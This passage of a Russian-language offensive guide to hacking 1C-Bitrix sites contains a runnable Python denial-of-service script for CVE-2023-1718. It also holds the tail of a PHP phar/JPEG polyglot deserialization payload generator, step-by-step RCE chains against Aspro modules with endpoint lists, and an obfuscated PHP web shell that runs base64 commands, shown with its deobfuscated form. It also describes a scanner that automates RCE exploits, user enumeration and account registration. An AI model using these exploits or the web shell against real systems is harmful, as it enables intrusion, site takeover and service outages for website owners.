$chksum += ord(substr($contents, $i, 1));
}
// embed checksum
$oct = sprintf("%07o", $chksum);
$contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
return $contents;
}
// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('bitrix.jpg');
$outfile = 'test.phar';
$payload = $cloudDebug;
// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload), $jpeg));
CCloudsDebug.php:
<?php
class CCloudsDebug
{
public $head = '';
public $id = '';
}
CVE-2023-1718 #
Этот Python-скрипт предназначен для эксплуатации уязвимости безопасности в Битрикс24, приводящей к атаке типа «отказ в обслуживании» (DoS). Уязвимость, идентифицированная как CVE-2023-1718, позволяет злоумышленнику нарушить нормальную работу экземпляра Битрикс24.
pip install aiohttp
python3 bitrix24dos.py --host <HOST> --site_id <SITE_ID Value> --num_requests <Number of Requests>
#!/usr/bin/env python3
import random
import asyncio
import aiohttp
import re
import argparse
async def preauth(session, host):
try:
async with session.get(host, ssl=False) as response:
data = await response.text()
return re.search(r"'bitrix_sessid':'([a-f0-9]{32})'", data).group(1)
except aiohttp.ClientError as e:
print(f"Failed to access the website: {e}")
return None
async def DoS(session, sessid, host, site_id, num_requests):
tasks = []
for _ in range(num_requests):
CID = random.randint(0, pow(10, 5))
url = f"{host}/desktop_app/file.ajax.php?action=uploadfile"
data = {
"bxu_info[mode]": "upload",
"bxu_info[CID]": str(CID),
"bxu_info[filesCount]": "1",
"bxu_info[packageIndex]": f"pIndex{CID}",
"bxu_info[NAME]": f"file{CID}",
"bxu_files[0][name]": f"file{CID}",
"bxu_files[0][files][default][tmp_url]": "a:php://stdout",
"bxu_files[0][files][default][tmp_name]": f"file{CID}",
}
headers = {
"X-Bitrix-Csrf-Token": sessid,
"X-Bitrix-Site-Id": site_id,
}
task = asyncio.create_task(send_request(session, url, data, headers))
tasks.append(task)
await asyncio.gather(*tasks)
async def send_request(session, url, data, headers):
async with session.post(url, data=data, headers=headers, ssl=False) as response:
pass
async def main(host, site_id, num_requests):
async with aiohttp.ClientSession() as session:
sessid = await preauth(session, host)
if sessid is not None:
await DoS(session, sessid, host, site_id, num_requests)
else:
print("Aborting due to website access failure.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Bitrix24 Improper File Stream Access DoS")
parser.add_argument("--host", required=True, help="Target host URL")
parser.add_argument("--site_id", required=True, help="SITE_ID value")
parser.add_argument("--num_requests", type=int, default=1000, help="Number of requests to send")
args = parser.parse_args()
asyncio.run(main(args.host, args.site_id, args.num_requests))
Подробнее тут
Уязвимые модули #
У битрикса существует невероятное множество отборнейшего… кхм.. модулей. Они, я полагаю, пишутся индусами на коленке и внедряются в прод без малейших сомнений. Иначе я просто не знаю, как объяснить такое количество уязвимостей в их коде. Я скачал 30 случайных модулей из официального маркетплейса и знаете что? 24 из них были с уязвимостями… это при том, что я особо не тыкался, возможно все 30 из них уязвимы).
Кстати, цена этих модулей - тема для отдельной дискуссии. Я честно не понимаю, как эти php костыли могут столько стоить.
Нет, ну серьёзно, вот, например, Слоны сделали календарь за 400 тысяч рублей.
Причем, судя по отзывам, он еще и не сразу ставится.
Реестр уязвимостей сторонних модулей #
Относительно недавно создали отдельный реестр уязвимостей в таких модулях. Там разумеется не всё, даже я бы сказал, что там почти ничего нет, ведь никто эти модули не тестирует, но это хоть что-то.
Причём это только публичные модули, которые на самом деле составляют меньшинство. Чаще всего встречаются так называемые “самописы”. Они появляются, когда компания не хочет платить огромные деньги за модуль, добавляющий одну кнопочку, и решает написать его самостоятельно, игнорируя все стандарты безопасной разработки.
Такие самописы встречаются практически на любом сайте с битриксом. Ведь из-за стоимости, базовую задачу или бизнес процесс в битриксе компании усердно пытаются решить самостоятельно, заставляя непонятно кого писать .php костыли
Все модули по умолчанию располагаются в директории /local/
Тут, думаю, стоит рассказать подробнее.
Директория /local/ #
Чтобы сделать жизнь разработчиков проектов удобнее, в ядре D7 с версии главного модуля 14.0.1 основные файлы пользовательских проектов вынесены из папки /bitrix/ в папку /local/. Что позволяет изолировать изменяющиеся файлы проекта от папки продукта.
Причем /local/*
не попадает под защиту встроенного в Битрикс WAF, а значит фильтрация там уже не спасёт. Соответственно все кастомные модули у нас теперь мало того, что дырявые, так ещё и беззащитные.
Давайте разберем основные директории обрабатываются в /local/
- activities — действия БП
В этой директории хранятся пользовательские действия для бизнес-процессов, которые могут быть использованы для автоматизации различных процессов на сайте. Это может быть создание задачи, отправка уведомлений, изменение статусов и прочее.
Пример:
/local/activities/SendEmail.php
- components — компоненты
Здесь хранятся как пользовательские компоненты, так и переопределенные стандартные компоненты 1С-Битрикс. Компоненты — это блоки функционала, которые можно многократно использовать на сайте, такие как формы, списки, галереи и т. д.
Пример:
/local/components/my_component/detail.php
- gadgets — гаджеты рабочего стола
Гаджеты — это небольшие элементы интерфейса, которые можно добавить в административную панель для быстрого доступа к данным или действиям. Например, показывать статистику, новости, или уведомления о событиях.
Пример:
/local/gadgets/dashboardWidget.php
- modules — модули
Вот именно сюда советую бить в первую очередь
Это место для хранения кстомных модулей, которые могут добавлять новую функциональность в систему. Например, модули для интеграции с внешними сервисами или для выполнения специфических задач.
Пример:
/local/modules/my_module/include.php
В этом файле будет храниться логика работы модуля, например, подключение API.
- php_interface — файлы init.php и dbconn.php , папка user_lang
Здесь содержатся все скрипты, которые отвечают за настройку и кастомизацию работы Битрикс. В этой папке обычно размещаются:
-
init.php — файл инициализации, где подключаются все необходимые компоненты, классы и модули.
-
events.php — обработчики событий, которые добавляют собственную логику в стандартные процессы.
-
constants.php — файл с константами, которые могут использоваться в проекте.
Пример структуры:
/local/php_interface/
init.php
events.php
constants.php
classes/
User.php
- templates — шаблоны сайтов, шаблоны компонентов, шаблоны страниц
Топ 2 место куда надо бить, после модулей. Все XSS-ки вероятно будут торчать именно тут
Эта папка содержит все кастомные шаблоны для вашего сайта. Здесь могут храниться как основные шаблоны сайта, так и шаблоны отдельных компонентов.
Пример:
/local/templates/my_template/header.php
Файлы с включаемыми областями, которые подключаются в шаблоне и хранятся в папке с шаблоном сайта (/local/templates/имя_шаблона/includes/).
- blocks — блоки Сайтов24
Для удобства и согласованности стилей в проекте используются блоки, как в подходе БЭМ. Применяются в модульных элементов интерфейса.
Пример:
/local/blocks/button/button.css
/local/blocks/form/form.js
- routes — файлы с конфигурацией маршрутов роутинга
Если в проекте используется роутинг (например, для REST API или кастомных маршрутов для страниц), то все настройки маршрутов и их обработчиков размещаются в этой директории.
Пример:
/local/routes/apiRoutes.php
- js — скрипты для собственных решений
Все скрипты и библиотеки для фронтенда также стоит хранить в этой папке. Она будет удобна для организации кастомных решений, таких как интерактивные элементы на страницах.
Пример:
/local/js/jquery.min.js
/local/js/myCustomScript.js
- /local/images — Изображения и файлы для шаблонов
Все изображения для шаблонов, шрифты или прочие статические файлы, которые не имеют отношения к функционалу, хранятся в директории /local/images
.
Пример:
/local/images/logo.png
С версии 24.100.0 главного модуля в папке /local/ могут быть размещены файлы настроек параметров ядра .settings.php
и .settings_extra.php.
При обработке папок приоритет всегда у папки /local/ перед /bitrix/. Это означает, что если в /local/templates/ и /bitrix/templates/ будут находиться шаблоны сайта с одинаковым названием, то подключится шаблон из /local/.
Структура самописного модуля #
Партнерские модули отличаются от стандартных модулей следующим:
ID модуля - полный код партнерского модуля, который задается в формате: код_партнера.код_модуля.
Часть код_партнера постоянна для партнера (задается в карточке партнера). Часть код_модуля вводится партнером при добавлении нового модуля (тут может быть любой bullshit). Но эти коды должны быть алфавитно-цифровыми, при этом первым символом не может быть цифра.
Чтобы не путаться, многие стараются назвать код так, чтобы он соответствовал сути модуля. Например, для модуля форума желательно задать код forum. Тогда полный код будет mycompany.forum.
Использование точки для разделения кода партнера и кода модуля закреплено функционалом битрикса, поэтому формат всегда одинаковый. При поиске самописов иногда есть смысл пофазить названия, зная особенности формата.
Aspro #
Пожалуй, самые популярные на данный момент модули - это модули Аспро.
Соответственно и ломают их чаще.
Да и самих модулей Aspro столько, что, как будто бы, у них совершенно нет времени думать о безопасности.
Интернет-магазины #
Корпоративные сайты #
- Аспро: Приорити 2.0
- Аспро: Корпоративный сайт 3.0
- Аспро: Корпоративный сайт 2.0
- Аспро: Корпоративный сайт современной компании
- Аспро: Корпоративный сайт
Отраслевые сайты #
- Аспро: Автосервис
- Аспро: Ландшафт 2.0
- Аспро: Курорт 2.0
- Аспро: Детский сад и образовательный центр
- Аспро: Инжиниринг
- Аспро: Стройка 2.0
- Аспро: Медицинский центр 3.0
- Аспро: Digital 2.0
- Аспро: Металл
- Аспро: Шины и диски 2.0
Устаревшие модули #
- Аспро: Digital
- Аспро: Интернет-магазин
- Аспро: Крутой шоп
- Аспро: Ландшафт
- Аспро: Медицинский центр 2.0
- Аспро: Курорт
- Аспро: Стройка
- Аспро: Шины и диски
- Аспро: Приорити
Как правило, если вы нашли уязвимость в одном модуле Aspro, она встретится и в другом, т.к по большей части, модули отличаются только ценой и названием. Основа у всех одинаковая.
Отдельная история, как они пытаются исправлять уязвимости.
Оказывается, что они обо всех уязвимостях в курсе, просто не афишируют. Не знал, что так можно было)
Потом правда все равно зачем-то в экстренном порядке делают “патчер”, который налепливает на дырку костыль.
Сам патчер нужно просто закинуть в корень сайта, откуда он будет доступен всем желающим из интернета.
Забавно, что иногда он доступен даже после фикса и мы можем зайти самостоятельно “пропатчить” целевой сайт.
/fixit.php
RCE by Insecure deserialization #
Взломы и попытки получения доступов к ресурсам c Aspro фиксировались с конца августа 2024 года. Точкой входа были уязвимые скрипты reload_basket_fly.php
, show_basket_fly.php
, show_basket_popup.php
. Файлы находятся в директории /ajax/
в корне сайта, например /var/www/www-root/data/www/test.by/ajax/
.
Эти файлы недостаточно проверяют пользовательский ввод, а также используют небезопасную функцию unserialize в php, из-за чего злоумышленник может внедрить в тело POST-запроса вредоносный код, который будет выполнен при десериализации, реализовав тем самым удаленное выполнение кода (RCE).
В переменную «arParams» записывается информация из запроса, в который можно добавить полезную нагрузку: например, cat /etc/passwd
. Ответ от сервера будет содержать информацию из /etc/passwd
в теге.
Пример эксплуатации уязвимости:
При создании запроса к эксплуатируемому файлу на ресурсе сначала необходимо привести полезную нагрузку в специальный формат, а именно сериализовать. Для этого достаточно указать сам вредоносный код и его длину. Именно поэтому при передаче в качестве полезной нагрузки, например, команды "cat /etc/passwd"
предыдущим значением идёт число 15.
Результат выполнения команды “id” говорит о том, что все действия осуществляются из-под учетной записи bitrix.
https://dev.1c-bitrix.ru/support/forum/forum6/topic160668/
Список потенциально уязвимых эндпоинтов:
/ajax/reload_basket_fly.php
/ajax/show_basket_fly.php
/ajax/show_basket_popup.php
/ajax/php.ini
/ajax/error_log_logic.php
/ajax/js_error.php
/ajax/form.php
/assets/images/accesson.php
/bitrix/wizards/aspro/max/site/public/ru/ajax/reload_basket_fly.php
/bitrix/wizards/aspro/max/site/public/ru/ajax/show_basket_fly.php
/bitrix/wizards/aspro/max/site/public/ru/ajax/show_basket_popup.php
/include/mainpage/comp_catalog_ajax.php
/bitrix/wizards/aspro/max/site/public/ru/include/mainpage/comp_catalog_ajax.php
/bitrix/components/aspro/oneclickbuy.max/script.php
/bitrix/components/aspro/oneclickbuy.next/script.php
/bitrix/components/aspro/basket.file.max/class.php
/bitrix/components/aspro/basket.file.max/templates/xls/dompdf/vendor/dompdf/dompdf/lib/Cpdf.php
/bitrix/components/aspro/basket.file.max/templates/xls/dompdf/vendor/dompdf/php-svg-lib/src/Svg/Surface/CPdf.php
/bitrix/components/aspro/basket.share.detail.max/class.php
/bitrix/components/aspro/catalog.delivery.max/ajax.php
/bitrix/components/aspro/smartseo.tags.max/class.php
/bitrix/components/aspro/oneclickbuy.max/script.php
/bitrix/modules/aspro.max/admin/crm_amo.php
/bitrix/modules/aspro.max/admin/pwa.php
/bitrix/modules/aspro.max/admin/options.php
/bitrix/modules/aspro.max/admin/smartseo/views/filter_condition/_form_condition.php
/bitrix/modules/aspro.max/admin/smartseo/views/seo_text/detail_element/partial/condition_control.php
/bitrix/modules/aspro.max/admin/smartseo/views/seo_text/detail_element/_form.php
/bitrix/modules/aspro.max/admin/options_ym.php
/bitrix/modules/aspro.max/admin/crm_flowlu.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/services/main/settings.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/map.google.view/map/template.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.detail/main/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.list/front_map/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.list/front_map3/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.list/front_map2/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.list/main/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.amount/popup/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.amount/main/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/sale.order.ajax/v2/ajax.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.comments/catalog/bitrix/blog.post.comment/adapt/ajaxLike.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.comments/catalog/bitrix/blog.post.comment/adapt/like.php
/bitrix/modules/aspro.max/install/components/aspro/basket.file.max/class.php
/bitrix/modules/aspro.max/install/components/aspro/basket.share.detail.max/class.php
/bitrix/modules/aspro.max/install/components/aspro/basket.share.detail.max/ajax.php
/bitrix/modules/aspro.max/install/components/aspro/catalog.delivery.max/ajax.php
/bitrix/modules/aspro.max/install/components/aspro/smartseo.tags.max/class.php
/bitrix/modules/aspro.max/install/components/aspro/oneclickbuy.max/script.php
/bitrix/modules/aspro.max/vendors/phpmorphy/phpmorphy-0.3.7/src/graminfo/graminfo.php
/bitrix/modules/aspro.max/vendors/phpmorphy/phpmorphy-0.3.7/src/shm_utils.php
/bitrix/modules/aspro.max/vendors/phpmorphy/phpmorphy-0.3.7/src/gramtab.php
/bitrix/modules/aspro.max/vendors/phpmorphy/phpmorphy-0.3.7/src/morphiers.php
/bitrix/modules/aspro.max/vendors/dompdf/lib/html5lib/Data.php
/bitrix/modules/aspro.max/vendors/dompdf/lib/Cpdf.php
/bitrix/modules/aspro.max/vendors/dompdf/lib/php-svg-lib/src/Svg/Surface/CPdf.php
/bitrix/modules/aspro.max/classes/general/CMaxEvents.php
/bitrix/modules/aspro.max/classes/general/CMax.php
/bitrix/modules/aspro.max/classes/general/CMaxTools.php
/bitrix/modules/aspro.max/classes/general/CAsproMarketing.php
/bitrix/modules/aspro.max/classes/general/mailing_functions.php
/bitrix/modules/aspro.max/classes/general/CAsproMarketingMax.php
/bitrix/modules/aspro.max/classes/smartseo/admin/controllers/FilterUrlController.php
/bitrix/modules/aspro.max/classes/smartseo/admin/controllers/NoindexRulesController.php
/bitrix/modules/aspro.max/classes/smartseo/admin/controllers/FilterTagController.php
/bitrix/modules/aspro.max/classes/smartseo/admin/grids/NoindexRuleConditionGrid.php
/bitrix/modules/aspro.max/classes/smartseo/admin/grids/FilterRuleConditionGrid.php
/bitrix/modules/aspro.max/classes/smartseo/admin/grids/FilterRuleUrlGrid.php
/bitrix/modules/aspro.max/classes/smartseo/engines/SearchEngine.php
/bitrix/modules/aspro.max/lib/searchquery.php
/bitrix/modules/aspro.max/lib/pwa.php
/bitrix/modules/aspro.max/lib/functions/CAsproMax.php
/bitrix/modules/aspro.max/lib/gs.php
/bitrix/modules/aspro.max/lib/smartseo/template/entity/FilterRuleConditionProperty.php
/bitrix/modules/aspro.max/lib/smartseo/template/entity/SeoTextElementProperties.php
/bitrix/modules/aspro.max/lib/smartseo/template/entity/FilterRuleUrl.php
/bitrix/modules/aspro.max/lib/smartseo/generator/handlers/PropertyUrlHandler.php
/bitrix/modules/aspro.max/lib/smartseo/models/smartseonoindexconditiontable.php
/bitrix/modules/aspro.max/lib/smartseo/models/smartseofiltertag.php
/bitrix/modules/aspro.max/lib/smartseo/condition/controls/IblockPropertyBuildControls.php
/bitrix/modules/aspro.max/lib/smartseo/condition/ConditionResult.php
/bitrix/modules/aspro.max/lib/smartseo/condition/bxcond/catalog_cond.php
/bitrix/modules/aspro.max/lib/smartseo/condition/ConditionResultHandler.php
/bitrix/modules/aspro.max/tools/smartseo/get_property_values.php
/bitrix/templates/aspro/components/bitrix/map.google.view/map/template.php
/bitrix/templates/aspro/components/bitrix/catalog.store.detail/main/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.store.list/front_map/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.store.list/front_map3/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.store.list/front_map2/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.store.list/main/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.store.amount/popup/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.store.amount/main/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.comments/catalog/bitrix/blog.post.comment/adapt/ajaxLike.php
/bitrix/templates/aspro/components/bitrix/catalog.comments/catalog/bitrix/blog.post.comment/adapt/like.php
Пример уязвимого кода:
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");?>
<div id="basket_preload">
<?include_once("action_basket.php");?>
<?$arParams = unserialize(urldecode($_REQUEST["PARAMS"]));?>
<?$APPLICATION->IncludeComponent( "bitrix:sale.basket.basket.line", "normal", $arParams, false, array("HIDE_ICONS" =>"Y") );?>
</div>
Функция unserialize уязвима для внедрения в тело запроса вредоносного класса. В документации php на эту функцию есть параметр 'allowed_classes' => false
, который запрещает внедрение классов в сериализованные массивы. Вот этого параметра в Аспро и не было.
PoC #
Данная уязвимость заключается в доступности конечного адреса '/ajax/error_log_logic.php'
системы и отсутствии проверки входных данных в параметре 'data='
запроса к данному URI. Это позволяет злоумышленнику отправить запрос следующего вида:
https://Target-aspro.com/ajax/error_log_logic.php?data=<?php ...payload... ?>
Который вызовет обращение к внутреннему модулю ‘/ajax/js_error.php’ системы:
GET /ajax/js_error.php?data=<?php ...payload... ?>
Что приводит к записи значения параметра ‘data=’ в лог-файл /ajax/js_error.txt
системы.
Далее путем отправки злоумышленником серии запросов:
GET /ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt
GET /form/index.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt
Происходит включение содержимого ранее записанного файла /ajax/js_error.txt
в тело ответа сервера на запросы. Это приводит к исполнению полезной нагрузки и компрометации веб-сервера.
Пример веб-шелла:
<?=409723*20;if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST[id]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>
Деобфусцированный веб-шелл:
<?php
echo 409723*20;
if(md5($_COOKIE["d"])=="17028f487cb2a84607646da3ad3878ec")
{
echo"ok";
eval(base64_decode($_REQUEST["id"]));
if($_POST["up"]=="up")
{
@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
}
}
?>
Поиск интересных директорий и файлов #
В Битриксе очень часто торчат различные интересные файлики и эндпоинты, что зачастую так же может быть вектором атаки. Для их поиска можно использовать cловарь многоуважаемого Bo0oM. Но он составлен в первую очередь для поиска доступных эндпоинтов из под учетной записи Bitrix и с ним особо ничего торчащего, к сожалению, найти не получится.
Поэтому я составил свой словарь, содержащий в себе все, что я встречал во время пентестов (cо временем будет дополняться).
При желании, можно прогонять не весь этот огромный словарь, а только то, что встречается чаще всего.
Еще oдин из методов, как можно узнать, какие эндпоинты существуют (например в кастомных модулях, к которым у нас нет доступа), это обычные google dorks. Индексация штука грозная)
Сканер под bitrix - “huitrix” #
При очередном тестировании сайта на 1С-Битрикс я осознал, что абсолютно не хочу снова проверять все это вручную. Но существующие сканеры либо ограничены базовыми тестами, либо не учитывают специфику CMS. Решение? Написать свой инструмент — Huitrix (пока в приватном доступе, следите за анонсами в Telegram).
Структуру решил сделать модульной, чтобы в случае чего просто добавить новый функционал. На данный момент сканер уже умеет всё, что умели его предшественники. +Добавил автоматизацию по бруту существующих пользователей и регистрации новых. A самое главное, он умеет искать и парсить кастомные (самописные) модули.
Структура сканера: #
Fast scan #
Модуль быстрого сканирования. Содержит все основные проверки (XSS, LFI, CWE-200, etc.). Под капотом использует nuclei, при желании ему можно подкидывать свои кастомные шаблоны.
Full Scan #
Тоже самое, что и Fast scan, но шаблонов не 50, а 5000. Избыточно, но иногда что-то да выстреливает.
Detect Version #
Модуль анализирует различные общеизвестные паттерны, присущие определенным версиям битрикс, после чего определяет наиболее вероятную используемую версию.
Entrance Finder #
Модуль для автоматизированного поиска эндпоинтов авторизации.
Найденные пути автоматически записываются в файл output/<TARGET>/bitrix_admin_endpoints.txt
RCE modules #
Vote agent
Запускает PHP exploit vote_agent.php на указанную цель.
HTML Editor Action
Запускает PHP exploit html_editor_action.php на указанную цель.
Landing
Запускает PHP exploit landing_RC_to_RCE.php
на указанную цель.
Enum Bitrix Users #
Модуль перечисления существующих пользователей. Работает по словарю, расположенному по пути assets/users_list.txt
. При желании, словарь можно редактировать или вообще заменить на свой.
Spawn Bitrix User #
Модуль спавна собственного пользователя. Предусматривает наличие капчи на целевом сайте.
Модуль проверяет все ему известные способы регистрации пользователя и пытается самостоятельно его зарегистрировать. В случае, если попалась капча, даёт ссылку на картнку и просит помочь с её решением (ИИ сюда ещё не подключил).
Если видим надпись “Enter the captcha word”, нужно тыкнуть по предоставленной ссылке. Там будет картинка с капчей.
Ответ вводим в консоль, после чего получаем аккаунт.
Также может потребоваться почта, если на сайте реализована отправка проверочного кода.
В этом случае нужно будет ввести свою почту, на которую прилетит код подтверждения. Можно использовать временные почты.
Переходим по ссылке в письме, получаем аккаунт.
Detect custom modules #
Модуль поиска кастомных/самописных модулей битрикс и путей к ним. Может генерировать значительное количество запросов на цель, но не блокируется защитными средствами (кроме qrator в aggressive mode).
Все интересные пути автоматически сохраняет в ./output/TARGET/local_sitemap.txt
После лутинга достаточно просто перейти на собранные пути, обычно там везде очевидный вектор атаки.
References #
Собрал все полезные ссылки по битриксу в одном месте.
Github #
- https://github.com/cr1f/writeups/blob/main/attacking_bitrix.pdf
- https://github.com/FaLLenSKiLL1/Huitrix
- https://github.com/ForceFledgling/CVE-2023-1713
- https://github.com/ForceFledgling/CVE-2023-1714
- https://github.com/jhonnybonny/Bitrix24DoS
- https://github.com/secware-ru/CVE-2022-43959
- https://github.com/k1rurk/check_bitrix
- https://github.com/indigo-sadland/quick-tricks
- https://github.com/snk0752/quick-tricks
- https://github.com/devsandk/bitrix_utf8/
- https://github.com/sartlabs/0days/blob/main/Bitrix/Exploit.txt
- https://github.com/FoerMaster/bitrix-aspro-fix
- https://github.com/jhonnybonny/nuclei-templates-bitrix
- https://gist.github.com/Bo0oM/5d18e56847d2b1722bf5eedea853119b
BDU #
- https://bdu.fstec.ru/vul/2014-00403
- https://bdu.fstec.ru/vul/2014-00404
- https://bdu.fstec.ru/vul/2016-00002
- https://bdu.fstec.ru/vul/2016-00003
- https://bdu.fstec.ru/vul/2022-01141
- https://bdu.fstec.ru/vul/2023-02793
- https://bdu.fstec.ru/vul/2023-05565
- https://bdu.fstec.ru/vul/2023-05857
- https://bdu.fstec.ru/vul/2023-05565
- https://bdu.fstec.ru/vul/2023-05566
- https://bdu.fstec.ru/vul/2023-05857
- https://bdu.fstec.ru/vul/2023-07461
- https://bdu.fstec.ru/vul/2024-01501
- https://bdu.fstec.ru/vul/2024-05252
- https://bdu.fstec.ru/vul/2024-08600
- https://bdu.fstec.ru/vul/2024-08610
- https://bdu.fstec.ru/vul/2024-08611
- https://bdu.fstec.ru/vul/2024-08612
- https://bdu.fstec.ru/vul/2024-08613
- https://bdu.fstec.ru/vul/2025-00765
Habr & Telegra.ph #
- https://habr.com/ru/articles/348090/
- https://habr.com/ru/articles/544572/
- https://habr.com/ru/news/778850/
- https://habr.com/ru/articles/787326/
- https://habr.com/ru/articles/787480/
- https://habr.com/ru/companies/deiteriylab/articles/806285/
- https://habr.com/ru/companies/jetinfosystems/articles/826872/
- https://telegra.ph/Test-post-for-giga-hack-07-05
- http://telegra.ph/Vyvod-minimalnoj-ceny-po-razdelu-v-meta-tegah-v-CMS-bitrix-02-07
- https://telegra.ph/Gde-hranyatsya-shablony-Bitrix-Gde-hranyatsya-fajly-shablony-stili-i-dannye-v-Bitriks-Podrobnyj-gid-po-nedram-CMS-07-14
- https://telegra.ph/Bypass-CAPTCHA-1C-Bitrix-01-23
- https://telegra.ph/bitrixvm-lpe-iz-korobki-02-21
- https://telegra.ph/hck-bx-0526-05-26
- https://telegra.ph/Indikatory-komprometacii-02-25
- https://telegra.ph/Massovyj-defejs-veb-sajtov-RF-06-05-5
Telegram #
- https://t.me/webpwn
- https://t.me/tribute/app?startapp=s2Vr
- https://t.me/pentestnotes
- https://t.me/poxek
- https://t.me/true_sec
- https://t.me/pentestbacklog
- https://t.me/b4ckc0nn3ct
- https://t.me/ArroizX_Notes
- https://t.me/pntests
- https://t.me/CherepawwkaChannel
- https://t.me/BountyOnCoffee
- https://t.me/github_exploits
Other #
- https://www.1c-bitrix.ru/vul_dev/
- https://starlabs.sg/advisories/23/23-1713/
- https://starlabs.sg/advisories/23/23-1714/
- https://starlabs.sg/advisories/23/23-1715/
- https://starlabs.sg/advisories/23/23-1716/
- https://starlabs.sg/advisories/23/23-1717/
- https://starlabs.sg/advisories/23/23-1718/
- https://starlabs.sg/advisories/23/23-1719/
- https://starlabs.sg/advisories/23/23-1720/
- https://safe-surf.ru/upload/ALRT/ALRT-20220712.1.pdf
- https://dev.1c-bitrix.ru/community/forums/messages/forum6/topic147346/message731078/
- https://jetcsirt.su/bulletins-page/kritichnaya-uyazvimost-v-1c-bitriks-virtualnaya-mashina-vmbitrix-/
- https://codeby.net/threads/lomayem-korporativnyi-portal-bitrix24-cherez-mobil-noye-prilozheniye.83494/
- https://xakep.ru/2010/09/21/53356/
- https://jtprog.ru/memcached-bitrix/
- https://onelab.kz/en/articles/project-management/review-of-weak-points-in-1c-bitrix-and-ways-to-eliminate-them/
- https://www.exploit-db.com/exploits/38976
- https://www.exploit-db.com/exploits/50898
- https://app.gitbook.com/s/-MeProikHoXGC8dWEaai/bitrix-crm
- https://exchange.xforce.ibmcloud.com/vulnerabilities/26542
- https://www.exploit-db.com/ghdb/8321
- https://blog.deteact.com/ru/bitrix-waf-bypass/
- https://forum.antichat.club/threads/476998/#post-4383619
- https://hoster.by/clients/news/15305/
- https://dev.1c-bitrix.ru/support/forum/forum6/topic160668/
- https://dd-blog.ru/bitrix-vzlom-saytov-pod-upravleniem-aspro/
- https://sendev.ru/blog/1c-bitrix/papka-local/
- https://www.youtube.com/watch?v=c7vZUII29xs
- https://www.youtube.com/watch?v=OieFCAJ7s00
- https://www.youtube.com/watch?v=LdO1lEOmgC4
- CyberOK-bitrix.pdf